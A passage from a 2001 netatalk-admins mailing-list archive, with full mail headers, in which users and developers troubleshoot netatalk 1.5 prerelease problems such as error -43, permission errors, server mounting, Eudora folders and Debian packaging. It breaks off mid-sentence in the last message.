> >
> > Ian.
> >
> > System redhat 7.1 kernel 2.4.7 i686
> > netatalk-1.5pre7
> > ./configure  --prefix=/usr/local/atalk \
> > --enable-redhat \
> > --with-tcp-wrappers \
> > --with-flock-locks \
> > --with-shadow \
> > --with-did=last
> > Mac OSX 10.0.4(Build 4Q12)
> >
> > When trying to copy files to the OSX box I get a -43 error "one or more of
> > the items could not be found". I have created a symbolic link from
> > /etc/netatalk to /usr/local/atalk/etc/ as the system appears to want
> > a /etc/netatalk/netatalk dir.
> >
>
> error -43 is the error I used to get with previous versions. That, and the
> bit about /etc/netatalk, suggest to me that maybe you have old versions of
> netatalk hanging about on your computer that are getting launched?
>
> I'd do a "make clean" in the netatalk folder before reconfiguring (or even
> just untar a clean copy) and also search my computer for old copy of afpd,
> atalkd, and friends and expunge those.
>
> If that doesn't help, e-mail the netatalk-devel list and/or file a bug
> report at http://netatalk.sourceforge.net
>
> steven
>
>


From netatalk.administrators-errors@umich.edu  Fri Sep  7 12:12:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA25669
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 7 Sep 2001 12:12:00 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA13905
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 7 Sep 2001 12:12:00 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA13895
	for netatalk.administrators-members@umich.edu; Fri, 7 Sep 2001 12:11:59 -0400 (EDT)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.89])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA13869
	for <netatalk-admins@umich.edu>; Fri, 7 Sep 2001 12:11:58 -0400 (EDT)
Received: by smtpout.mac.com; Fri, 7 Sep 2001 09:06:07 -0700 (PDT)
Received: from asmtp02.mac.com ([10.13.10.66]) by
          smtp-relay01.mac.com (Netscape Messaging Server 4.15 relay01 Jun
          21 2001 23:53:48) with ESMTP id GJAVE700.UT3 for
          <netatalk-admins@umich.edu>; Fri, 7 Sep 2001 09:06:07 -0700 
Received: from localhost ([62.175.33.66]) by asmtp02.mac.com
          (Netscape Messaging Server 4.15 asmtp02 Jun 21 2001 23:53:48)
          with ESMTP id GJAVE600.VSU; Fri, 7 Sep 2001 09:06:06 -0700 
Date: Fri, 7 Sep 2001 18:05:55 +0200
Subject: Re: Permissions problems again...
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v458)
Cc: <netatalk-admins@umich.edu>
To: "Bryn Hughes" <bhughes@vcc.bc.ca>
From: Jason Quigley <jasonq@mac.com>
In-Reply-To: <sb988a68.085@keam1>
Message-Id: <37F8E5C8-A3AA-11D5-AF3C-000A277D821C@>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.458)

Yes Bryn, thank you!

You are quite correct. I made some changes recently to the structure of 
the shares on this server and another one. On the this one, I forgot to 
fix the groups. On the other, I remembered, which is why I was getting 
so damn confused!

Now to fix the "Delete Immediately" trash folder problem.

Once again, thanks!
Jason.


On Friday, September 7, 2001, at 05:50 PM, Bryn Hughes wrote:

> I had this problem and eventually discovered it was because I wasn't a 
> member of the group that was being set.  Since I wasn't a member of the 
> group, I couldn't change the ownership of the directory to belong to 
> that group.  Once I added myself to the group, it worked fine.
>
> Bryn
>
> ----------------------------------------------
> Bryn Hughes
> Macintosh/Linux Support
> Information and Computing Services
> Vancouver Community College
>
> email:bhughes@vcc.bc.ca
> ph: (604) 443-8702
> Urgent: (604) 871-7007
>
>>>> Jason Quigley <jasonq@mac.com> - 9/6/01 2:03 PM >>>
> Hi!
>
> Does anybody know of a workaround for this:
>
> Sep  6 22:40:21 vulcan afpd[2828]: stickydirmode: chmod
> ".AppleDouble/.Parent": Operation not permitted
> Sep  6 22:40:21 vulcan afpd[2828]: stickydirmode: chmod ".AppleDouble":
> Operation not permitted
> Sep  6 22:40:38 vulcan afpd[2828]: stickydirmode: chmod
> ".AppleDouble/.Parent": Operation not permitted
> Sep  6 22:40:38 vulcan afpd[2828]: stickydirmode: chmod ".AppleDouble":
> Operation not permitted
> Sep  6 22:49:40 vulcan afpd[2828]: stickydirmode: chmod
> ".AppleDouble/.Parent": Operation not permitted
> Sep  6 22:49:40 vulcan afpd[2828]: stickydirmode: chmod ".AppleDouble":
> Operation not permitted
>
>
> I am using 1.5pre6 on FreeBSD 4.2?
>
> Whenever a new folder is created on a share, I get a message saying 
> that the
> folder could not be created because I have insufficient privileges. The
> folder is created anyway but when I look at it from a terminal I see 
> that
> the setgid bit is not set. Even if I run netatalk as setuid root, this
> problem occurs.
>
> I vaguely remember somebody mentioning a fix for this (or a 
> workaround) a
> long long time ago.
>
> I'm at the point of writing a cron job that fixes up the permissions but
> this is a nasty hack which won't fix this particular problem - it'll 
> keep
> all the permissions nice and tidy, though.
>
> Please help my failing memory! :-)
>
> Jason.
>
>


From netatalk.administrators-errors@umich.edu  Fri Sep  7 17:18:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA08265
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 7 Sep 2001 17:18:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id RAA15682
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 7 Sep 2001 17:18:39 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA15673
	for netatalk.administrators-members@umich.edu; Fri, 7 Sep 2001 17:18:38 -0400 (EDT)
Received: from mail.id-inc.com ([208.186.174.81])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA15654
	for <netatalk-admins@umich.edu>; Fri, 7 Sep 2001 17:18:37 -0400 (EDT)
Received: from [192.168.94.68] (192.168.94.68) by mail.id-inc.com with
 ESMTP (Eudora Internet Mail Server 3.0) for <netatalk-admins@umich.edu>; 
 Fri, 7 Sep 2001 14:19:29 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 07 Sep 2001 14:18:39 -0700
Subject: problem mounting two servers
From: charlie wood <charlie@id-inc.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B7BE87BE.45E5%charlie@id-inc.com>
In-Reply-To: <Pine.SOL.4.20.0104231638120.2960-100000@garnet.tc.umn.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Yo atalk brethren and sistren.

I've got a problem that I'm sure someone has discovered (he said,
hopefully):

I've got two separate servers, each have unique network.node addresses. For
illustrative purposes, we'll call one Bob and the other Sally (names changed
to protect the innocent). Whenever one of Bob's volumes are mounted on the
client desktop, and then an attempt is made by that client to connect to
Sally, via the Chooser, instead of Sally's login dialog, the "already
connected to "Bob"" dialog comes up. Selecting "OK" takes the user to Bob's
volumes list. The only way to actually connect to Sally, under these
circumstances, is to either unmount all of Bob's volumes, or make the
connection to Sally via afp (clicking the IP Address button in the Chooser
window, typing in the IP address, etc.).

Anybody else run across this? Fixed? Solutions? Ideas? It looks like
something with atalkd, and not afpd.

I'm:
RH Linux 7.1 running on Intel-based hardware
1.5pre6 (although the problem has been around since 1.4b2)

Clients:
G3 & G4 desktops, all running OS9.1

thanks in advance.

</charlie>

_____________________________
Charlie Wood

IT Manager
ID, Incorporated
1620 SW Taylor St Suite 100 Portland, OR 97205
{v} 503-223-7737   {f} 503-223-2719
{e} charlie@id-inc.com   {w} http://www.id-inc.com


--



From netatalk.administrators-errors@umich.edu  Sat Sep  8 19:50:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA12367
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 8 Sep 2001 19:50:34 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA16417
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 8 Sep 2001 19:50:34 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA16408
	for netatalk.administrators-members@umich.edu; Sat, 8 Sep 2001 19:50:33 -0400 (EDT)
Received: from granite.stdout.org (so.neurosim.wisc.edu [128.104.8.191])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA16389
	for <netatalk-admins@umich.edu>; Sat, 8 Sep 2001 19:50:32 -0400 (EDT)
Received: from [18.229.0.203] (MOLLYLAB-9.MIT.EDU [18.229.0.203])
	by granite.stdout.org (8.9.3/8.9.3) with ESMTP id SAA32670
	for <netatalk-admins@umich.edu>; Sat, 8 Sep 2001 18:50:32 -0500
Mime-Version: 1.0
Message-Id: <p05010402b7c05cfd69dd@[18.229.0.203]>
Date: Sat, 8 Sep 2001 19:47:37 -0400
To: netatalk-admins@umich.edu
From: Winston Chang <winston@stdout.org>
Subject: Eudora folder on netatalk volumes
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Environment:
   Red Hat 7.1 Intel
   netatalk-1.5pre2-6b

Description:

I tried placing a Eudora mail folder in a netatalk volume.  It's 
configured to check mail every 5 minutes.  After about half an hour 
to an hour (I'm not really sure how long), I get this error every 
time I try to check my mail:

   Couldn't read your settings.
   1453292+ 21 (-43); The document was nout found.
   {90:885}

Followed by this one:

   Eudora could not check mail in the
   background. Try closing some windows or
   switch background threading off.
   -43,{09:435}

Simply closing Eudora and restarting doesn't seem to help; I have to 
put the volume away and reconnect.  This problem doesn't occur if I 
have a local copy of the Mail folder.

Any ideas of why this happens and how I might make it go away?


Thanks,
--Winston

From netatalk.administrators-errors@umich.edu  Sat Sep  8 20:05:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA12915
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 8 Sep 2001 20:05:41 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id UAA29841
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 8 Sep 2001 20:05:41 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA29830
	for netatalk.administrators-members@umich.edu; Sat, 8 Sep 2001 20:05:40 -0400 (EDT)
Received: from riverside.haddockseyes.com (riverside.haddockseyes.com [192.147.236.6])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA29795
	for <netatalk-admins@umich.edu>; Sat, 8 Sep 2001 20:05:39 -0400 (EDT)
Received: from sgathan.reid.org (sgathan.reid.org [192.147.236.130])
        by riverside.haddockseyes.com (8.11.1/8.11.1) with ESMTP id f8904C849670;
        Sat, 8 Sep 2001 17:04:12 -0700 (PDT)
Date: Sat, 08 Sep 2001 17:05:37 -0700
From: Brian Reid <reid@mejac.palo-alto.ca.us>
To: Winston Chang <winston@stdout.org>
cc: netatalk-admins@umich.edu
Subject: Re: Eudora folder on netatalk volumes
Message-ID: <114359709.999968736@sgathan.reid.org>
In-Reply-To: <p05010402b7c05cfd69dd@[18.229.0.203]>
References:  <p05010402b7c05cfd69dd@[18.229.0.203]>
X-Mailer: Mulberry/2.1.0 (Win32)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

> Any ideas of why this happens and how I might make it go away?

I struggled with this problem for a long time and finally solved it by
switching from Eudora to Mulberry, which does not have this problem.


From netatalk.administrators-errors@umich.edu  Sat Sep  8 21:51:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA16185
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 8 Sep 2001 21:51:54 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA19477
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 8 Sep 2001 21:51:54 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA19463
	for netatalk.administrators-members@umich.edu; Sat, 8 Sep 2001 21:51:53 -0400 (EDT)
Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA19447
	for <netatalk-admins@umich.edu>; Sat, 8 Sep 2001 21:51:52 -0400 (EDT)
Received: from [195.20.224.209] (helo=mrvdom02.schlund.de)
	by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #2)
	id 15ftlH-0004uL-00
	for netatalk-admins@umich.edu; Sun, 9 Sep 2001 03:51:51 +0200
Received: from a3dc6.pppool.de ([213.6.61.198])
	by mrvdom02.schlund.de with esmtp (Exim 2.12 #2)
	id 15ftlG-0003rH-00
	for netatalk-admins@umich.edu; Sun, 9 Sep 2001 03:51:50 +0200
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Sun, 09 Sep 2001 03:50:24 +0200
Subject: Re: Eudora folder on netatalk volumes
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B7C08DE9.2A445%ts@visual-s.de>
In-Reply-To: <p05010402b7c05cfd69dd@[18.229.0.203]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

pre2 ... I'm wondering why you're sticking to this outdated
release. 

I'd recommend to either go back to the last rather stable release
which seems to be netatalk1.4b2+ASUN2.1.3_37b if memory doesn't fail --
or keep pace with the current prerelease cycle.

btw, -43 problems seem to have disappeared for my current
config ... instead, other problems arise,  :-/

-Thomas

On 2001-09-09 01:47 +0200, Winston Chang wrote:

> Environment:
>  Red Hat 7.1 Intel
>  netatalk-1.5pre2-6b
> 
> Description:
> 
> I tried placing a Eudora mail folder in a netatalk volume.  It's
> configured to check mail every 5 minutes.  After about half an hour
> to an hour (I'm not really sure how long), I get this error every
> time I try to check my mail:
> 
>  Couldn't read your settings.
>  1453292+ 21 (-43); The document was nout found.
>  {90:885}
> 
> Followed by this one:
> 
>  Eudora could not check mail in the
>  background. Try closing some windows or
>  switch background threading off.
>  -43,{09:435}
> 
> Simply closing Eudora and restarting doesn't seem to help; I have to
> put the volume away and reconnect.  This problem doesn't occur if I
> have a local copy of the Mail folder.
> 
> Any ideas of why this happens and how I might make it go away?
> 
> 
> Thanks,
> --Winston
> 

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Sun Sep  9 10:55:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA07879
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 9 Sep 2001 10:55:26 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA05660
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 9 Sep 2001 10:55:26 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA05653
	for netatalk.administrators-members@umich.edu; Sun, 9 Sep 2001 10:55:26 -0400 (EDT)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.89])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA05646
	for <netatalk-admins@umich.edu>; Sun, 9 Sep 2001 10:55:25 -0400 (EDT)
From: morganew@mac.com
Received: by smtpout.mac.com; Sun, 9 Sep 2001 07:54:14 -0700 (PDT)
Message-Id: <200109091454.HAA04040@smtpout.mac.com>
Received: from asmtp01.mac.com ([10.13.10.65]) by
          smtp-relay01.mac.com (Netscape Messaging Server 4.15 relay01 Jun
          21 2001 23:53:48) with ESMTP id GJEHEE00.UMC for
          <netatalk-admins@umich.edu>; Sun, 9 Sep 2001 07:54:14 -0700 
Received: from localhost ([24.10.224.22]) by asmtp01.mac.com
          (Netscape Messaging Server 4.15 asmtp01 Jun 21 2001 23:53:48)
          with ESMTP id GJEHED00.TBR for <netatalk-admins@umich.edu>; Sun,
          9 Sep 2001 07:54:13 -0700 
Date: Sun, 9 Sep 2001 10:56:59 -0400
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
Mime-Version: 1.0 (Apple Message framework v388)
To: netatalk-admins@umich.edu
X-Mailer: Apple Mail (2.388)
Content-Transfer-Encoding: 7bit
Subject: 1.5pre7,OSX and Debian

Many questions here:

1.  Does 1.5 pre7 work with OSX or do I need to backtrack to an older 
DID module? I am able to use 1.6pre6 to listen to mp3s by adding the 
"hello" to the login, but I can't do anything else (no moving, copying 
or removing files). I am certain this has been asked before, but I can't 
seem to find any kind of up-to date mailing list archive.

2.  Has anyone made a Debian .deb for the new 1.5pre7?

3.  If there is no .deb, I need a hand figuring out where the build 
should go.  Utilizing the build instructions from anders.com (why is 
this not at the sourceforge site???), it suggests using 
DESTDIR=/usr/local/atalk.  The thing is, my current netatalk on my 
debian box is NOT located there.  In fact, the only atalk dir I find is 
in /usr/lib/atalk.  I have done a dpkg -L netatalk and can see where all 
the files have gone, but I am not really sure if I should remove the old 
1.5pre6 before installing 1.5pre7, and should I make a dir in 
/usr/local/atatalk?

Clearly, I need help :)

Morgan Reed

From netatalk.administrators-errors@umich.edu  Sun Sep  9 17:50:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA27675
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 9 Sep 2001 17:50:08 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA11130
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 9 Sep 2001 17:50:08 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA11117
	for netatalk.administrators-members@umich.edu; Sun, 9 Sep 2001 17:50:08 -0400 (EDT)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA11082
	for <netatalk-admins@umich.edu>; Sun, 9 Sep 2001 17:50:06 -0400 (EDT)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f89Lo1t01342
	for <netatalk-admins@umich.edu>; Sun, 9 Sep 2001 23:50:01 +0200 (CEST)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f89Lo1Y21773
	for netatalk-admins@umich.edu; Sun, 9 Sep 2001 23:50:01 +0200
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 15gBx1-0000ID-00
	for <netatalk-admins@umich.edu>; Sun, 09 Sep 2001 23:17:11 +0200
Date: Sun, 9 Sep 2001 23:17:11 +0200
To: netatalk-admins@umich.edu
Subject: Re: 1.5pre7,OSX and Debian
Message-ID: <20010909231711.A1055@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <200109091454.HAA04040@smtpout.mac.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <200109091454.HAA04040@smtpout.mac.com>
User-Agent: Mutt/1.3.20i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Sun, Sep 09, 2001 at 10:56:59AM -0400, morganew@mac.com wrote:

> 2.  Has anyone made a Debian .deb for the new 1.5pre7?

Yes, a Debian package is available in and for Debian unstable. See
http://non-us.debian.org/debian-non-US/pool/non-US/main/n/netatalk

 - Sebastian


From netatalk.administrators-errors@umich.edu  Sun Sep  9 21:55:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA06313
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 9 Sep 2001 21:55:32 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id VAA22490
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 9 Sep 2001 21:55:32 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA22474
	for netatalk.administrators-members@umich.edu; Sun, 9 Sep 2001 21:55:31 -0400 (EDT)
Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA22436
	for <netatalk-admins@umich.edu>; Sun, 9 Sep 2001 21:55:30 -0400 (EDT)
Received: from [195.20.224.219] (helo=mrvdom03.schlund.de)
	by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #2)
	id 15gGIJ-0003Ez-00; Mon, 10 Sep 2001 03:55:27 +0200
Received: from b054e.pppool.de ([213.7.5.78])
	by mrvdom03.schlund.de with esmtp (Exim 2.12 #2)
	id 15gGII-0005aM-00; Mon, 10 Sep 2001 03:55:27 +0200
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Mon, 10 Sep 2001 03:54:01 +0200
Subject: Re: 1.5pre7,OSX and Debian
From: Thomas Schierle <ts@visual-s.de>
To: <morganew@mac.com>
CC: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B7C1E9CA.2A473%ts@visual-s.de>
In-Reply-To: <200109091454.HAA04040@smtpout.mac.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

[pm, cc'd to Netatalk-Admins]

On 2001-09-09 16:56 +0200, morganew@mac.com wrote:

> 1.  Does 1.5 pre7 work with OSX or do I need to backtrack to an older
> DID module? I am able to use 1.6pre6 to listen to mp3s by adding the
> "hello" to the login, but I can't do anything else (no moving, copying
> or removing files). I am certain this has been asked before, but I can't
> seem to find any kind of up-to date mailing list archive.

basically, accessing a netatalk pre7 share and manipulating, pulling/pushing
files/folders from OS X 10.0.4 against a SuSE 7.2 server works for me.

There are some obnoxious problems with access rights, though.

My configure options are:
--enable-dropkludge --enable-cnid-db --enable-suse --enable-fhs
--with-shadow --with-tcp-wrappers
where I manually applied some patches beforehand to a) accommodate to
changes introduced with SuSE 7.2 and b) get cnid-db working -- thanks
to Joe Clarke!

However, I've had massive trouble with cnid (no data loss, though),
therefore I'd strongly recommend to stay away from cnid for a production
environment at this time.

> 2.  Has anyone made a Debian .deb for the new 1.5pre7?

>From what I've read, it should be almost ready. Nevertheless, for advanced
users compiling from source should do better than just throwing some kind of
package at your server.

> 3.  If there is no .deb, I need a hand figuring out where the build
> should go.  Utilizing the build instructions from anders.com (why is
> this not at the sourceforge site???), it suggests using
> DESTDIR=/usr/local/atalk.  The thing is, my current netatalk on my
> debian box is NOT located there.  In fact, the only atalk dir I find is
> in /usr/lib/atalk.  I have done a dpkg -L netatalk and can see where all
> the files have gone, but I am not really sure if I should remove the old
> 1.5pre6 before installing 1.5pre7, and should I make a dir in
> /usr/local/atatalk?

no idea ... I don't even know why to even use Debian -- no bashing meant,
apparently it is good for some purposes, but nobody told me which they are.
Is it for novices, or eventually for reliable servers with limited
functionality? No idea yet.

I hope this helps to some extent and keeps your trust into the
evolution of netatalk,
-Thomas

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Mon Sep 10 02:50:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA15121
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 02:50:03 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id CAA25705
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 02:50:03 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA25695
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 02:50:03 -0400 (EDT)
Received: from knuckles.eggzone.net (APoncelet-101-2-1-9.abo.wanadoo.fr [193.251.42.9])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA25660
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 02:50:01 -0400 (EDT)
Received: from Sakura (sakura.eggzone.net [192.168.1.3])
	by knuckles.eggzone.net (Postfix) with ESMTP id 6ED32480830
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 09:01:51 +0200 (CEST)
Date: Mon, 10 Sep 2001 08:49:56 +0200
Mime-Version: 1.0 (Apple Message framework v466)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Subject: netatalk won't let me upload large files
From: =?ISO-8859-1?Q?S=E9bastien_Sainte-Marie?= <sms@artwebdesignstudio.com>
To: netatalk-admins@umich.edu
Content-Transfer-Encoding: 7bit
Message-Id: <0B8F14E4-A5B8-11D5-998B-003065C05802@artwebdesignstudio.com>
X-Mailer: Apple Mail (2.466)

Hi

I've just installed netatalk 1.5pre6 because I thought it could help me 
resolve a problem that appeared recently in the default 1.4b2 that was 
in the Linux yellow dog distribution.

The problem that appeared was the impossibility to upload on the server 
a large file (>1Mb) via the mounted netatalk volume. We can copy big 
files from the server to the differents Mac but not from the Mac to the 
server. Surprisingly, it's possible to upload a large file via 
appleshare ip over the internet.

I just don't understand why I have this error since it appeared without 
modifying anything for netatalk.

when I launch it it writes:

socket: invalid argument
socket: invalid argument
atalkd: can't get interfaces, exiting

the thing that amaze me is that I havn't touched to atalk files or 
configuration. This problem appeared like this... I sincerely don't 
understand what happened. I hope someone will be able to help me.

Sebastien


From netatalk.administrators-errors@umich.edu  Mon Sep 10 06:27:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA21958
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 10 Sep 2001 06:27:13 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA26305
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 10 Sep 2001 06:27:13 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA26293
	for netatalk.administrators-members@umich.edu; Mon, 10 Sep 2001 06:27:13 -0400 (EDT)
Received: from frank.gwc.org.uk (frank.gwc.org.uk [212.240.16.7])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA26265
	for <netatalk-admins@umich.edu>; Mon, 10 Sep 2001 06:27:12 -0400 (EDT)
Received: from localhost (ali@localhost [127.0.0.1])
	by frank.gwc.org.uk (8.9.3/8.9.3) with ESMTP id LAA09732;
	Mon, 10 Sep 2001 11:27:03 +0100
Date: Mon, 10 Sep 2001 11:27:03 +0100 (BST)
From: Alistair Riddell <ali@gwc.org.uk>
To: Ryan McBeth <rmcbeth@mobiusnm.com>
cc: netatalk-admins@umich.edu
Subject: Re: Thank you.
In-Reply-To: <v04210106b7bbe9413b9c@[216.155.36.73]>
Message-ID: <Pine.LNX.4.21.0109101113300.14338-100000@frank.gwc.org.uk>
X-foo: bar
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Wed, 5 Sep 2001, Ryan McBeth wrote:

> 	IMHO, there *won't* be much use for netatalk after a few 
> years.  Not next year, but probably by 2003.  Yes, some schools will 
> still be running old Macs and they will run Netatalk, heck, some 
> schools are probably still running Apple ][e's.

What about folks that will want to serve files to Macs (running Mac OS X
